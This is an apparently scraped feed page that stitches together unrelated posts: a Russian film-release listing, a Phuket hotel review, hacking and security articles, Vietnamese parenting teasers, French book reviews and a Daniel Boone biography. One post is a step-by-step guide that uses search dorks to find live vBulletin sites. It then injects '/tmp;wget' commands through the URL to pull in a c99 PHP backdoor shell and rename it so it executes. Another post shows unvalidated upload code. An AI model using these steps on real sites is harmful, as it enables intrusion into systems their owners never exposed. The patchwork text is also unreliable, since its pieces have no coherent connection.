Год выхода: 2012
Жанр: драма

Режиссер: Стивен Эллиот
В ролях: Эшли Хиншоу, Лили Тейлор, Дев Патель, Джонни Уэстон, Джеймс Франко, Хизер Грэм, Дайан Фарр, Майя Рэйнс, Винсент Пало, Элана Крауш

О фильме:
История 18-летний девушки начинающей работать в порнографическом бизнесе после того, как она переезжает в Сан-Франциско. Первое о чем ей предстоит позаботиться – какой-нибудь заработок. Новый город – новые друзья, новая судьба и пьянящая возможность легко и весело заработать, снимаясь у профессионалов. Сначала фото, потом видео - можно показать себя, пускай и полностью, без цензуры. Для раскованной симпатичной девчонки это легко.

Страна: США
Студия: Enderby Entertainment, Gordon Bijelonic / Datari Turner Films
Продолжительность: 01:42:11
Перевод: Любительский одноголосный, закадровый [Kerob]

Кодек: h.264
Качество: BDRemux
Видео: 1920x1080, 24598 Kbps, 23.98 fps
AC3, 48 KHz, 6 ch ~ 448 Kb/s (русский);
DTS, 48 KHz, 6 ch ~ 1510 Kb/s (английский).
Английские (полные), PGS;
Испанские (полные), PGS;
Русские (полные), SRT;
Русские (форсированные), SRT.




          Upcoming Review: The SAEM Cover Perfection Tip Concealer        
Keep a lookout for this space!

The SAEM Cover Perfection Tip Concealer

          Travel: Our accommodation in Phuket (Thailand), BYD Lofts Boutique Hotel & Serviced Apartments        

This is probably my first post related to my overseas vacation. So this will placed under the travel series. This year in June, my family and I decided to go for a 6 days 5 night trip to Phuket. Initially, I said that I did not want to go but since I am not going for any graduation trip , I decided to tag along at the last minute. Plane ticket was a little more pricey because I did not but early. We took Silkair and my ticket cost about S$400++ about a hundred more than what my other family members paid for. That was my first time in Phuket but not my first time in Thailand. I went to Bangkok few years before this trip. And I really enjoyed the trip.

We stayed at BYD Lofts Boutique Hotel & Serviced Apartments. 

The van that ferried us to the hotel
When we first arrived at Phuket International Airport, we were greeted by the driver for the airport transfer. Since there were seven of us, we requested for a bigger vehicle. If not for that I would prefer being chauffeured by complimentary luxury transfers that BYD lofts provides.... Mercedes Benz CLS class

After travelling for about 2 hours, we reached BYD lofts. We were greeted by their staffs as soon as we alighted from the van. The staff actually came out from the lobby to greet us. I thought it was a nice gesture. We were also given welcome drinks and flower garlands at hotel lobby. The lobby was quite small but cosy. 

In front of BYD lofts, where out van stopped

The citrus welcome drinks and hot towels that we received at the lobby...Thought that the drinks tasted really interesting with chewy bits in it
The flower garlands that staff put around our necks

Let's talk about the room itself. BYD Lofts is located at Patong. The room that 4 of us stayed in is called 2 bedroom Penthouse. I think that is best type of room available at BYD Lofts. We were really excited to stay there and the experience did not let us down. Unlike most hotels, the pictures of rooms in their website are really true to what we received. The elevator brings us directly into the room, which was really interesting. We were greeted by a spacious living room once the door of the elevator opens. I remembered my mom was awed when she stepped into the penthouse LOL.

So the penthouse has a large living room, a balcony, a fully furnished kitchen, two bedrooms (master bedroom and a smaller room), 3 toilets (one in the living room, and a toilet in each of the rooms). There are also wifi which is password protected.

The living room equipped with TV and fully furnished. There were complimentary fruits on the tables

The balcony...good news for those who smokes

The kitchen. It has a fridge, dining tables, induction stove, coffee maker and etc. 

The master bedroom. It has a huge toilet, desk, TV, wardrobe and etc. 

One part of the master's bedroom toilet

Another part of the master's bedroom toilet

The second bedroom which fully furnished with a TV, wardrobe, a toilet and etc. 
1) Good distance from the main shopping district e.g. Jungceylon, Bangla Road
2) Related to the first point, even though walkable distance to many amenities is not too near. Hence, really quiet.
3) There are a lot of laundry, massage and tailoring services near BYD loft
4) Spacious and lots of toilets!!!
5) Comfortable beds
6) 10 minutes walk to Patong beach
7) For those who needs halal, there are a lot of halal eateries nearby like Kusuma etc. but I did not eat there because of hygiene purposes. I will talk more about the halal restaurants that I ate at during another time

1) Weird housekeeping time...which was frustrating at times
2) The lift in our room can be a little troublesome
3) Although the majority of the staffs were friendly, not many are fluent in English

Please feel free to ask any questions in the comment section below.

I will the end the post with a weird incident that happened in Phuket. It was 2 a.m. and everyone else in the Penthouse had already fallen asleep. I was awake charging my phone and using my macbook. Then I heard a bell from the intercom. I ignored it at first but it kept on ringing. Then I check the intercom and saw a person waiting at the first floor. He looked kinda drunk. Since I have no idea who it was, I checked that the lift connected to the room was locked. I got a little scared and went to bed after that...hoping that he doesn't come up banging the door.  

          What is Remote Code Execution? How to Hack Websites        
According to Wikipedia, Remote Code Execution can be defined as “In computer security, arbitrary code execution or remote code execution is used to describe an attacker's ability to execute any commands of the attacker's choice on a target machine or in a target process. It is commonly used in arbitrary code execution vulnerability to describe a software bug that gives an attacker a way to execute arbitrary code. A program that is designed to exploit such vulnerability is called an arbitrary code execution exploit. Most of these vulnerabilities allow the execution of machine code and most exploits therefore inject and execute shell code to give an attacker an easy way to manually run arbitrary commands. The ability to trigger arbitrary code execution from one machine on another (especially via a wide-area network such as the Internet) is often referred to as remote code execution”

vBulletin RCE Injection

Few websites running vBulletin are vulnerable to Remote Code Execution, by exploiting the vulnerability we can get our PHP backdoor shell uploaded on the website. We’ll use a dork to find the vulnerable website.

Note: Don’t keep yourself restricted when it comes to using dorks, use other search engines too other than Google, like Bing, Yahoo etc. Use of multiple search engines will help you to get more vulnerable websites.

Dork: inurl:faq.php & intext:"Warning: system() [function.system]"

Now, select any website of your choice from th search result, and go to its faq.php page. If the website is vulnerable, you will get the following on the page.

You will get an error similar to Warning: system() [function.system]: Cannot execute a blank command in [path]/faq.php(324) : eval()'d code on line 1

So, firstly upload your PHP shell on any free hosting website or you can use as it has already got an uploaded .txt shell. (We will be first uploading our shell in .txt form, and later will be changing the extension to .php after the upload process is completed.

Suppose the vulnerable website is So in order to upload our shell enter the following in the URL bar: /tmp;wget

To check if we were able to successfully upload our shell, enter the following in the URL bar /tmp;ls -la c99.txt

Were c99.txt is the name of your uploaded shell. If we were successful in uploading our shell, we see the following text on the page. (Might be a little different in some cases)
-rw-r—r—1 nobody nobody

We know that our shell is successful uploaded on the website, now it’s time to change the file format from .txt to .php in order to execute it on the server. /tmp;mv c99.txt check.php
(You can change check.php to any other name of your choice)

Now, the file format is change. It’s time to execute our shell, so to execute it enter the following in the URL bar /tmp;mv c99.txt check.php

Bingo!! We successfully exploited vBulletin Remote Code Execution Vulnerability.

          Technology and it's threat         

Technology and its threat

It's true that technology makes everyone dance on its tone. Now we have computers with the help of which we can get information about everything. It has also changed the way of communication. Earlier we use to talk via letters and phones. But, now we have a webcam through which we can do video calling or conferencing. It's true that machines have been created by men, but they make fewer mistakes as compared to men. You just need to program the computer properly and it will work accurately. With the help of computer everything is done perfectly in less time. Now days it’s not surprising if students carry their laptop and mobile to school. Technology has truly made our lives easier.

But a computer also faces health issues, which can be treated by an Antivirus Software program.
Following are  top 8 threats and no one should ever ignore them

Viruses: - The name itself describes it. It can disrupt a computer and can damage the available data. Viruses can be received via numerous options that also include e-mail attachments. So, always beware when you get an e-mail from an unidentified server or person.

Spyware: - A Spyware is used to spy on computers. It can steal your personal information and send it to others who can misuse it. Today everyone is concerned about being the victim of identity theft. Spyware are generally attached to a freeware downloaded from the web. So be cautious when downloading and installing a software tool.

Spam: - Spam mails are promotional in nature and usually promote products of sexual or dubious nature. Some websites are harvested by spammers, from where they steal your e-mail ids.
Adware: - Adware are responsible for producing advertisements on a system without user’s consent, which you often see on your computer screen. It can be in the form of pop-ups, pop-under, and other sources. People generally do get irritated by these adware but at many times are not aware of its causes.

Dialers: - Dialers are the programs, which are designed to redirect phone calls to expensive numbers without even informing you. You’ll get to know about it, when you will receive the bill.
Hackers: - A computer always consists of so much personal data, including your bank and credit card details. Hackers always try to steal this data and recover your passwords in order to do malicious activities and even may burgle you.

Hijackers: - The hijackers take remote control of your computer screen and can reset your homepage and search pages. They do it in order to do thievery on your behalf so that they can be away from the agencies and you’ll be in danger.

Phishing: - Phishing has become the most threat full of all malicious activities over the internet. It is because Phishing websites look similar to the real websites, and are designed to make fools out of the customer and are generally scams to harvest usernames and passwords of prominent websites.

In order to be away from these 8 threats, download Security Software Optimo Defender, which also scans for threats and performs virus removal programs on a computer by offering various features like Antivirus,

Anti-Trojan, Anti-Spyware, and System Security Suite. There are a lot of Antivirus programs available on the internet, but like everything else they also vary in quality. You tend to get what you pay for.
Anna Asthesia is chief technical head in & working from last 5 years. She likes to write article on antivirus software program, security software & how to find genuine online tech support for Laptops, Computers & Smartphones.

About the Author
Anna Asthesia is chief technial head in & working from last 5 years. She likes to write article on windows registry , computer problems & how to find genuine online tech support for Laptops, Computers & Smartphones.You can read her latest blogs

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          Arbitrary or Unrestricted File Upload        
Arbitrary or Unrestricted File Upload is a type of web application vulnerability which occurs due to improper validation of the file which is being uploaded on the server.
Suppose there is a website which allows users to upload image files with the extension like .jpg, .png, .gif and so on, but if the website is unable to properly verify the image file being uploaded, an attacker can take control over the whole website/server. This is especially true for files with the extension .php & .asp because they are automatically executed by the server.

So in this post I will be explaining you how this vulnerability is caused by studying the source code. This post has been written keeping in mind that you are new to this type of vulnerability, so examples which will be explained will be basic ones. Advanced example will be posted in PART 2 of this post.

The following is an HTML upload forum which allows pictures to be uploaded on the server.

<form action="upload.php" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<input type="submit" name="submit" value="Submit"/>
When the file is submitted, it is send to upload.php on the server. The file is been stored in a temporary location until it is retrieved by the server side code. So after the file is uploaded, it is sent to a permanent directory or location through upload.php
// Define the target location where the picture being
// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);

// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
echo "The picture has been successfully uploaded.";
echo "There was an error uploading the picture, please try again.";
The problem with the above code is that, the file type is not verified which is being uploaded, as a result an attacker can upload a malicious file on the server.

Once the malicious file is uploaded on the server, arbitrary command execution is possible.

Well, a simple solution to patch this type of problem is to check for MIME type in the uploaded request.
if($_FILES['userfile']['type'] != "image/gif") {
      echo "Sorry, we only allow uploading GIF images";
Well this method too can be bypassed by the manipulation of Request Header allowing
What can be done instead is that use PHP functions to check that the file type is indeed of desired type, for example: ‘getimagesize()’ function of PHP takes a file name as an argument and returns the size and type of the image

Some File Upload Vulnerabilities :

          Greedy Beaver vs Chumlee        
Hey guys, I've been seeing and reading a lot about the Chumlee, which seems to sit in a similar space as the GB, though it's a really different...
           Ngày đầu tiên đi học         
(Webtretho) Rất khó để biết được liệu một đứa trẻ có thể chịu nổi sự “chia lìa” trong ngày đầu tiên đi học hay chưa. Nhiều bé sẽ dùng hết sức để bám lấy mẹ và khóc lóc thảm thiết, nhưng có những bé vẫn tỉnh như không. Nếu con bạn nằm trong trường hợp đầu tiên thì cũng đừng lo lắng.
           Trường THCS - THPT Âu Lạc: Học giỏi hÆ¡n, áp lá»±c ít hÆ¡n         
Hiện nay áp lực thành tích học tập của các em học sinh là gánh nặng của không chỉ các em mà còn là nỗi quan tâm rất lớn của phụ huynh và xã hội.
           Cho con một mùa hè sôi động         
Tất cả phụ huynh chúng ta đều băn khoăn cho con đi đâu, làm gì, học gì, chơi gì cho hết mùa hè trong khi chúng ta vẫn đi làm, ông bà nội ngoại thì ở xa. Chúng ta xót xa khi bắt con học hè nhưng cũng không yên tâm để con ở nhà. Việc chở con đi hết lớp này đến trung tâm nọ cũng tốn không ít thời gian, lại thêm khói bụi giao thông và các rủi ro khác…
           Vui một ngày đàng, học một sàng khôn         
(Webtretho) Với trẻ con, mọi thứ trên đời đều là những bài học. Bạn đã nghĩ đến chuyện kết hợp việc dạy con với những chuyến đi chơi? Nhưng lại chưa biết nên đi đâu bây giờ? Hãy thử cùng Webtretho tham khảo vào gợi ý dưới đây nhé!
           Có nên học bài khuya?         
Thời gian nào là lý tưởng nhất để học? Đối với nhiều người, đó thường là buổi tối, khi mà họ cho rằng khả năng tập trung của mình đạt mức cao nhất.
           Học sinh tiểu học ôn thi nhÆ°... đại học         
Bước vào thi học kì, một số học sinh tiểu học ở trường điểm mỗi tối làm khoảng 20 bài toán, trong một tuần phải học thuộc lòng 7 bài thơ và viết đúng dấu chấm phẩy. Liệu các em có đủ sức “chạy việt dã” trong mùa ôn thi?
           Ghi chú – cách giúp con học tốt         
(Webtretho) Ghi chú là một cách học rất hay, không những giúp nhận rõ những điểm chính, phụ, mà còn giúp ta hệ thống lại bài học. Việc ghi chú này tốt nhất nên được thực hiện từ đầu năm học, tuy nhiên nếu đã “lỡ” quên thì con bạn vẫn có thể áp dụng khi chuẩn bị cho một kỳ thi.
           Giúp con phát triển khả năng tÆ° duy         
(Webtretho) Phát triển khả năng tư duy của trẻ là một việc quan trọng, nhưng bạn cũng có thể biến thể biến nó thành một hoạt động nhẹ nhàng, hay thậm chí là trò chơi vui của gia đình. Như thế nào nhỉ, hãy cùng Webtretho tìm hiểu nhé!
           Trẻ bị hội chứng ADHD và những lời khuyên từ giáo viên (Phần 2)         
(Webtretho) Nếu con bạn bị chẩn đoán là đã bị hội chứng ADHD, bên cạnh sự hỗ trợ của gia đình thì vai trò của giáo viên cũng rất quan trọng – thậm chí giáo viên còn có thể giúp được nhiều hơn cả phụ huynh. Những đứa trẻ bị ADHD cần được giáo viên quan tâm nhiều hơn trong lớp học và tốt nhất là cần có một kế hoạch giáo dục riêng biệt nhằm tạo điều kiện cho trẻ bộc lộ hết khả năng của mình trong học tập. Giáo viên cũng chính là những chuyên gia có thể đưa ra cho bạn những lời khuyên hữu ích để bạn có thể hỗ trợ việc học ở nhà của con mình. Sau đây là những lời khuyên của các giáo viên dành cho những phụ huynh có con bị ADHD – những lời khyên này sẽ giúp ích rất nhiều cho việc học của con bạn.
           Trẻ bị hội chứng ADHD và những lời khuyên từ giáo viên (Phần 1)         
(Webtretho) Nếu con bạn bị chẩn đoán là đã bị hội chứng ADHD, bên cạnh sự hỗ trợ của gia đình thì vai trò của giáo viên cũng rất quan trọng – thậm chí giáo viên còn có thể giúp được nhiều hơn cả phụ huynh. Những đứa trẻ bị ADHD cần được giáo viên quan tâm nhiều hơn trong lớp học và tốt nhất là cần có một kế hoạch giáo dục riêng biệt nhằm tạo điều kiện cho trẻ bộc lộ hết khả năng của mình trong học tập. Giáo viên cũng chính là những chuyên gia có thể đưa ra cho bạn những lời khuyên hữu ích để bạn có thể hỗ trợ việc học ở nhà của con mình. Sau đây là những lời khuyên của các giáo viên dành cho những phụ huynh có con bị ADHD – những lời khyên này sẽ giúp ích rất nhiều cho việc học của con bạn.
          A l'abordage, Toxic, saison 2, épisode 6, Stéphane Desienne        
Et voilà, finie, enfin, la saison deux de Toxic. Et suite à cette fin, je n'ai qu'une chose à dire, c'est quand la suite ? 

Et je profite de ce petit avis lecture pour vous annoncer que Walrus lance son OPMORSE ce mois-ci. Un mois avec des réductions (cette semaine, c'est la collection pulp qui est à 0.99€), des surprises et tout ce qui va avec ce genre d'opération. Si vous voulez découvrir la maison d'édition, n'hésitez pas !

A l'abordage, Toxic, saison 2, épisode 6, Stéphane Desienne

Editeur : Walrus
Colleciton : série
Année de parution : 2016
Format : epub

A lire si :
- Vous avez aimé la saison 1
- Vous voulez un joyeux mélange Zombies/alien
- Vous voulez passer un bon moment

A ne pas lire si :
- Vous avez peur d'être perdu entre les divers personnages
- Vous n'aimez pas penser que vous pouvez être de la marchandise

Présentation de l'éditeur :

Avec ce double épisode, la saison 02 de Toxic tire sa révérence. Que ce soit à bord du cargo GénéSaran ou sur Corrudeeen, la survie des groupes humains est liée au sort des Aliens. Que ceux-ci cherchent à les sauver ou à les exploiter importe peu : le risque de perdre le peu qui a été gagné est grand. Elaine, Masters, Alva, Jon, Alison, le Révérend, Larson, Pedro, Michelle. Autant de personnes dont la vie ne tient qu’à un fil ! La donne est identique pour Jave, Naakrit et Twirl : chacun doit affronter les conséquences des choix qui ont été faits. Reste à savoir qui reverra le jour se lever sur une planète ou une autre…

Mon avis

Je l'avais dit dans l'avis de l'épisode cinq, ce sixième épisode est en fait un double épisode. Presque un mini-roman, une novella. Et une novella qui nous tient en haleine tout le long de son texte. Un texte qui ne déroge pas vraiment à la règle que c'est fixé l'auteur pour les autres épisodes, on commence avec la ferme de Twirl et les humains qui y sont enfermés puis on passe dans l'espace. Juste que les passages sont plus long.

Donc, commençons par la ferme. Rien ne va plus. Michelle se méfit de Larson. Il faut dire que l'homme se fait la malle et revient avec un équipement antigrav qu'il planque. Puis avec sept autres. Pendant ce temps, Twirl se fait enlever par des rivaux. Et quand la docteuresse essaie un des harnais antigrav, elle se retrouve avec le virus m-v. Quand je disais que rien n'allait plus. Alors qu'une nouvelle invasion zombie se prépare dans la ferme, celle-ci est envahi par la Sécurité. Que va-t-il donc advenir des quelques rescapés ? Et bien, nous ne le saurons pas de suite (premier cliffhanger du lot quoi, et déjà, on a envie d'avoir la suite). 

Dans l'espace, ça devient la aussi de pire en pire. La Sécurité Commerciale arrive sur les lieux, poussant tout le monde a agir. Pour le meilleur et pour le pire. Dans le désordre, Naakrit et Jave retrouve les survivants et s'allient avec eux, Alva continue sa vengeance, Khrow accélère le mouvement pour trouver l’antidote et sauver son potentiel pactole. Des alliances se font et se défont. Je n'ose pas dire grand chose sur cette partie-là, la plus longue de l'épisode de peur de spoiler. Et je dois bien dire qu'il y a de quoi spoiler (d'ailleurs, je me demande comment je vais réussir à faire l'avis du premier épisode de la saison trois sans spoiler)(oui, je m'avance beaucoup)(oui, je recommence avec mes parenthèses à tout va, ça m'avait manqué).

Autant vous le dire, j'ai été prise dans l'aventure de ce double épisode très rapidement. Il faut clôturer la saison, le faire comme il faut et donner aux lecteurs l'envie de patienter jusqu'à la saison suivante (ou pas, d'ailleurs, parce que j'aimerais bien l'avoir de suite la dite saison trois). Et Stephane Desienne sait gérer ce genre d'épisode. Pas ou peu de temps mort, des révélations et des moments qui te mettent les nerfs en pelote. Il n'y a pas à dire, c'est un très bon saison final que ce A l'abordage. Encore plus prenant, je trouve, que celui de la saison un.

Voilà, j'ai donc fini la saison deux de Toxic et je peux même répéter ce que j'avais dis à la fin de la un :  "Toxic est une putain de bonne série".  Je le repette encore une fois, parce que je le pense vraiment. Desienne a une écriture très "série télévision" (je sais pas comment dire autrement mais comme je verrais trop Toxic en série TV, je le dis comme ça), très vivante. Et même si pour cette saison, j'ai un peu regretté l'abscence de m-v (enfin, absence, disons qu'on les voit moins), je me suis tout simplement régalée à la lire (oui malgré le hiatus qui était pas totalement ma faute hein). Franchement, si vous ne connaissez pas la série, n'hésitez pas (en plus, je suis presque sure que pendant l'OPMORSE il y a aura des promos sur les intégrales)(parce que j'attends les dites promos en fait, pour le Masque et la Poudre)

          Fractures Ouvertes, Toxic, épisode 5 saison 2, Stéphane Desienne        
Cher monsieur Desienne, veuillez m'excuser d'avoir interrompu pendant trop longtemps ma lecture de cette saison deux de Toxic. Mais je voulais faire durer le plaisir. Bon, peut-être pas aussi longtemps, je l'avoue. Mais me revoilà et je compte bien lire le dernier épisode d'ici peu. 

Fractures Ouvertes, Toxic, épisode 5 saison 2, Stéphane Desienne

Editeur : Walrus
Collection : Série
Année de parution : 2016
Format : epub

A lire si :
- Vous avez aimé la saison 1
- Vous voulez un joyeux mélange Zombies/alien
- Vous voulez passer un bon moment

A ne pas lire si :
- Vous avez peur d'être perdu entre les divers personnages
- Vous n'aimez pas penser que vous pouvez être de la marchandise

Présentation de l'éditeur : 

La révélation les a tous ébranlés : Joana porte l’antidote ! Le genre humain pourrait donc renaître de ses cendres en soignant les m-v. Malheureusement, Elaine et son groupe se voient à cette fin confier un nouvel objectif : s’allier avec les aliens qui paraissent être le plus de leur côté, quitte à de nouveau marcher au bord du gouffre… L’éleveur Twirl croit lui aussi s’être mis sur les bons courants, même si son intuition lui conseille de se méfier, qu’il s’agisse de ses proches ou de ses produits. Ce Larson, le chef des humains, est loin d’être le docile spécimen qu’il s’efforce d’incarner. Il manigance…

Mon avis

C'est marrant ça, j'ai laissé en plan un petit moment la série et quand je reprends, je sais parfaitement où j'en suis. C'est quand même la preuve ultime que la série est super bien foutue et surtout qu'elle reste en tête. Soit, qu'elle est géniale. Mais ça, je l'ai déjà dit plein de fois il me semble. Bon, elle mérite que je le redise, hein, surtout après ce hiatus bien involontaire de ma part. Et donc, justement, on en est où et il se passe quoi dans cet avant dernier épisode ?

Il se passe plein de chose dedans. Côté Twirl et sa ferme d'humain, on assiste à des pressions, des plans qui se mettent en route. Je déplore que cela soit si court car j'aime bien Twirl et ses problème en fait. Et en plus de cela, je trouve que le nouveau groupe d'humain sain n'est pas tellement mis en valeur. Je suppose qu'il finira par l'être un peu plus. Forcément, on se concentre plus sur ce qu'il se passe dans l'espace et plus particulièrement dans le cargo. Et là, autant dire que ça y va. Parce qu'on approche de la fin et que tout se met en place pour un final qui se déroulera en deux épisodes (enfin un mais qui a la taille de deux). Et ça envoie du lourd avant la fin donc. 

Autant le dire, on ne s'ennuie pas une seconde à la lecture de ce cinquième épisode. C'est qu'il s'en passe des choses quand même. Naakrit et Jave vont enfin arrêter de faire de la figuration. Je les aime beaucoup tous les deux et je suis ravie de voir qu'ils prennent le taureau par les cornes. Khrow fait de même vu qu'il n'a pas le choix s'il veut réussir à récupérer la marchandise. Et il fait ça comme il faut avec les gros moyens. Et pendant ce temps, pour Elaine et les autres, la survie continue. Une survie qui va peser lourd pour Joana, vu qu'à présent tout le monde sait qu'elle est l'antitode. La voilà qui devient La femme à protéger. Interdite de se mettre en danger, voire tout simplement d'aider, elle ne va pas vraiment apprécié. Une survie qui semble finalement être une préoccupation bien lointaine pour Alva qui continue sa vengeance sans se préoccuper du reste. Forcément, tout ce petit monde ne va pas tarder à se retrouver dans la même galère et j'ai plus que hâte de voir ce que cela va donner. Je pense que beaucoup risque de ne pas s'en sortir indemne. 

Ce cinquième épisode est donc génial. Il ne répond toujours pas vraiment à mes questions sur le groupe d'humain dans les griffes de Twirl mais il annonce du bien lourd pour la suite. Une suite que je vais même lire assez rapidement (ça me changera des plus de six mois entre ce cinquième épisode et son prédécesseur). Je sais parfaitement que Stéphane Desienne va réussir à me surprendre encore une fois et j'ai vraiment envie de voir comment. Surtout vu comment vient de se dérouler ce cinquième épisode !

          Les Chevaliers de Mars, Le Château des Etoiles, tome 3, Alex Alice        
Hier, en allant sur un autre site de travail, je suis passée devant la librairie. Et il était en vitrine, bien voyant. Hier, en rentrant chez moi, je me suis arrêtée à la librairie, et j'en ai aussi profiter pour me prendre le dernier tome des Outrepasseurs. Hier, à peine rentrée à la maison, j'ai dévoré la bande dessinée (mais pourquoi est-elle si courte ?). Bref, hier, j'ai retrouvé Séraphin, Sophie et Hans pour une nouvelle aventure.

Les Chevaliers de Mars, Le Château des Etoiles, tome 3, Alex Alice

Editeur : Rue de Sèvres
Collection : /
Année de parution : 2017
Nombre de pages : 60

A lire si :
- Vous avez aimé le tome 1
- Vous aimez le steampunk et Jules Verne
- Vous voulez de beaux dessins accompagnent une bonne histoire

A ne pas lire si :
- Vous ne voulez pas de jeunes héros

Présentation de l'éditeur : 

1870. En plein dix-neuvième siècle, le sort de la Terre se joue sur Mars ! Dans cette suite de la série à succès Le Château des étoiles , récompensée par de nombreux prix, Séraphin et ses amis sont de retour sur Terre. Après avoir révélé au monde le secret du voyage spatial, ils ont trouvé refuge dans un manoir breton. Mais leur engin volant est désormais l'objet de toutes les convoitises ! Alors que le père de Séraphin est en voyage à Londres, le manoir est cerné par des brumes lourdes de menaces... Spectres, ou espions prêts à tout pour mettre la main sur le précieux engin ? Nouvelles machines, complots internationaux, têtes couronnées, expéditions au-delà de l'espace... La course à l'éther est lancée, et la paix sur Terre est désormais entre les mains de Séraphin et des Chevalier de Mars !

Mon avis

La Conquête de l'espace, premier tome de cette série , m'avait particulièrement plus, le second tout autant. Autant dire que j'avais plus que hâte de lire la suite. Alors forcément, cette couverture rouge m'a attirée. Moi qui m'étais promis de ne pas aller toutes les semaines à la librairie...  Bref, je suis faible, je le sais, et ça ne me dérange pas tant que ça. Mais que vaut-il ce nouveau tome à la belle couverture rouge ?

On retrouve Séraphin, Sophie et Hans en bretagne, quelques temps après leur retour de la Lune. Ils ont donné les plans du moteur à Ether au monde, voit le début de la conquête de l'Ether par les nations sans pouvoir rien y faire. Pendant ce temps, les scientifiques essaient de réguler tout cela, de ne pas faire de cette conquête une nouvelle guerre. Mais alors que le professeur Dulac est à Londres, il se fait enlever par les Prussiens. Prussiens qui comptent bien conquérir Mars. Une planète qui attire aussi les jeunes gens, puisque d'après les calculs de Sophie, Ludwig de Bavière doit s'y trouver.

Mais bien entendu, rien ne se passe comme prévu. Les Prussiens veulent l'éthérine ramenée de la Lune et attaque la cachette de nos héros. Débarque alors l'impératrice Sissi qui va leur permettre de s'envoler une nouvelle fois vers l'Ether, et plus précisement vers Mars avec deux missions, retrouver le père de Séraphin et le roi Ludwig.

L'histoire nous entraîne rapidement sur cette seconde partie de la conquête de l'Ether. Et il faut bien dire qu'elle est passionnante, mais vraiment. Entre une Sophie qui semble être en manque d'Ether, un Séraphin qui doute de plus en plus, un Hans toujours égal à lui-même (ce personnage mérite pourtant plus que de sembler être le bout en train du groupe), on découvre rapidement l'importance qu'à pris leur voyage dans leur vie. En plus de cela, l'Ether est devenue la chose à conquérir, que se soit scientifiquement parlant ou politiquement parlant. Tous les enjeux d'une telle découverte sont présentés, même si de manière parfois un peu simpliste (ok, il n'y a que 60 pages dans ce tome, c'est aussi un peu normal).

Et puis, comme toujours, les planches sont juste magnifiques. J'aime vraiment tout ce travail à l'aquarelle où l'on voit tout de même un peu le dessin préparatif. J'aime les nuances de couleurs dans les ciels terriens ou non d'Alex Alice. Je trouve que cela donne tout le charme de la bande dessinée. Non mais vraiment, les paysages quoi et les ciels. C'est juste beau quoi. Et ça va si bien avec cette ambiance steampunk. 

Au final, vous l'aurez compris, j'ai juste beaucoup beaucoup aimé ce troisième tome. Et je veux le quatrième maintenant (je veux beaucoup de chose maintenant en même temps, heureusement que la réalité est tout autre par rapport à mes envies, sinon, vingt quatre ne me suffiraient pas). 

          Daniel Boone        

Daniel Boone

BOONE, Daniel, pioneer, born in Berks County, Pennsylvania, 22 October, 1734 (For more on Daniel Boone's birthplace please visit his Homestead); died in Missouri, 26 Sept., 1820. Among the immigrants that landed, 10 Oct., 1717, at Philadelphia was George Boone, of Exeter, England, who came with his wife and eleven children, bought land near Bristol, Bucks County, Pennsylvania, and joined the society of Friends. His son, Squire Boone, married Sarah Morgan, and Daniel was their son. Squire Boone, who was a farmer, moved, about 1748, to Holman's Ford, on the Yadkin, in North Carolina.

Daniel's education was very limited; he could read and write, but beyond that all he knew related to the fields, the woods, the net, the rifle, and hunting. He was a hunter born, and loved the solitude of the forest. Strong, brave, lithe, inured to hardship and privation, he traced his steps through the pathless forest, sought out the hiding places of panther, bear, and wolf, and was the match of any Indian in the sagacity with which he detected the footsteps of the red man. About 1755 he married Rebecca Bryan and set up his own log cabin, but, displeased with the encroachments of civilization on his solitude, and incited by the glowing accounts brought by John Finley, who had penetrated into the unknown regions of Kentucky, formed a company of six kindred spirits, and, bidding adieu to his family and the comforts of home, on 1 May, 1769, set out on his perilous journey of exploration.

America's Four Republics: The More or Less United States
By: Stanley Yavneh Klos
Edited: Naomi Yavneh Klos, Ph.D.

  • First United American Republic: United Colonies of North America: 13 British Colonies United in Congress was founded by 12 colonies on September 5th, 1774 (Georgia joined in 1775)  and governed through a British Colonial Continental Congress.  Peyton Randolph and George Washington served, respectively, as the Republic's first President and Commander-in-Chief;
  • Second United American Republic: The United States of America: 13 Independent States United in Congress was founded by 12 states on July 2nd, 1776 (New York abstained until July 8th), and governed through the United States Continental CongressJohn Hancock and George Washington served, respectively, as the Republic's first President and Commander-in-Chief; 
  • Third United American Republic: The United States of America: A Perpetual Union was founded by 13 States on March 1st, 1781, with the enactment of the first U.S. Constitution, the Articles of Confederation, and governed through the United States in Congress Assembled.  Samuel Huntington and George Washington served, respectively, as the Republic's first President and Commander-in-Chief; 
  • Fourth United American Republic: The United States of America: We the People  was formed by 11 states on March 4th, 1789 (North Carolina and Rhode Island joined in November 1789 and May 1790, respectively), with the enactment of the U.S. Constitution of 1787. The fourth and current United States Republic governs through  the U.S. House of Representatives and Senate in Congress Assembled, the U.S. President and Commander-in-Chief, and the U.S. Supreme Court.  George Washington served as the Republic's first President and Commander-in-Chief.

After numerous adventures with the Indians, having become intimately acquainted with the character of the country, established an enviable reputation for sagacity and integrity on important frontier service assigned to him by Lord Dunmore in the campaign against the Indians, usually called "Lord Dunmore's War," and constructed a strong fort on the left bank of Kentucky river, which he named "Boonesborough," he determined to bring his wife and family to the new home. Some of his neighbors joined him, and he conducted the party, numbering upward of thirty, safely to "Boonesborough" without having encountered any other difficulties than such as are common to this passage. 

 Daniel Boone founded Boonesborough while he worked for Richard Henderson of the Transylvania Company.

On one occasion Boone, with an armed party of thirty men, had gone for a supply of salt to a place called "Salt Licks," nearly 100 miles north of Boonesborough, and was captured, with twenty-seven of his men, by a band of more than 100 Indian warriors led by two Frenchmen. 

They carried them first to Old Chillicothe, on the Miami, and then to Detroit, where they surrendered for a ransom all their prisoners except Boone; him they took back to Old Chillicothe, where the great Blackfish, a renowned Shawanese chief, adopted him into his family under an imposing but painful ceremonial; all his hair, except a tuft three or four inches in diameter on the crown of the head, was plucked out; that tuft was allowed to grow to the length of the "warlock," dressed with feathers and ribbons; an ablution in the river was supposed to cleanse him from the taint of white blood; a coat of paint on his face, and a solemn charge from Blackfish, completed the rite. 

After a prolonged and anxious residence among them, during which he was kindly treated, he discovered their intention of marching upon Boonesborough, and resolved, at the peril of certain death in the event of recapture, to attempt his escape and save his family and friends. Chased by 450 Indians, he performed that daring feat in the forty-third year of his age, and thus simply records it: "On the 16th [of June], before sunrise, I departed in the most secret manner, and arrived at Boonesborough on the 20th, after a journey of 160 miles, during which I had but one meal." 

